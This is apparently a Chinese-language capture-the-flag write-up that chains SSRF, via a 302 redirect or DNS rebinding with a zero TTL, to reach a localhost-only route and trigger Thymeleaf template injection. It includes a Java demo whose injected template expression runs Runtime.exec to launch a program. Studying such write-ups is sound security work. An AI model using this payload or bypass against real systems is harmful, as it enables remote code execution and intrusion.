image-20240410191230916

并不是打什么反序列化链子的操作 就是一个打SSRF 302跳转/Dns重绑定 然后ssti的一个操作

image-20240410193629155

模板渲染的点 这里值如果可控的话就可以造成SSTI漏洞

image-20240410193809139

刚在再AdminControl里面有个Process函数 并且这hostname可控 我们本地进行测试

写了个demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.example;

import org.thymeleaf.TemplateEngine;
import org.thymeleaf.context.Context;
import org.thymeleaf.spring5.SpringTemplateEngine;

public class Test {
public static void main(String[] args) {
String hostname = "<a th:href=\"${''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')}\" th:title='pepito'>";
Context context = new Context();
TemplateEngine engine = new SpringTemplateEngine();
String dispaly = engine.process(hostname, context);
System.out.println(dispaly);
}
}

image-20240410193920938

能成功执行 那么说明了 只要我们传入我们恶意构造的hotsname参数 然后访问getsites路由 就能成功进入到这个模板渲染这了

image-20240412201220592

image-20240412201237283

其实看到这的话 对DNS重绑定有印象的话 应该就能想到这用dns重绑定来打了

看Curl这个路由发现

image-20240412201541908

image-20240412201601591

只要ip满足上述的这些if判断 就能进入到下面的connect()方法中 并且由于ttl为0 那么dns解释缓存的时间就为0 那么在第二次解析的时候 就会指向127.0.0.1 从而进入到getsites路由中

image-20240412201854270

并且hoatname的值可控 然后302调转到http://127.0.0.1/?hostname=exp就行了

以后看到限制ip127.0.0.1的题目 可以考虑一下SSRF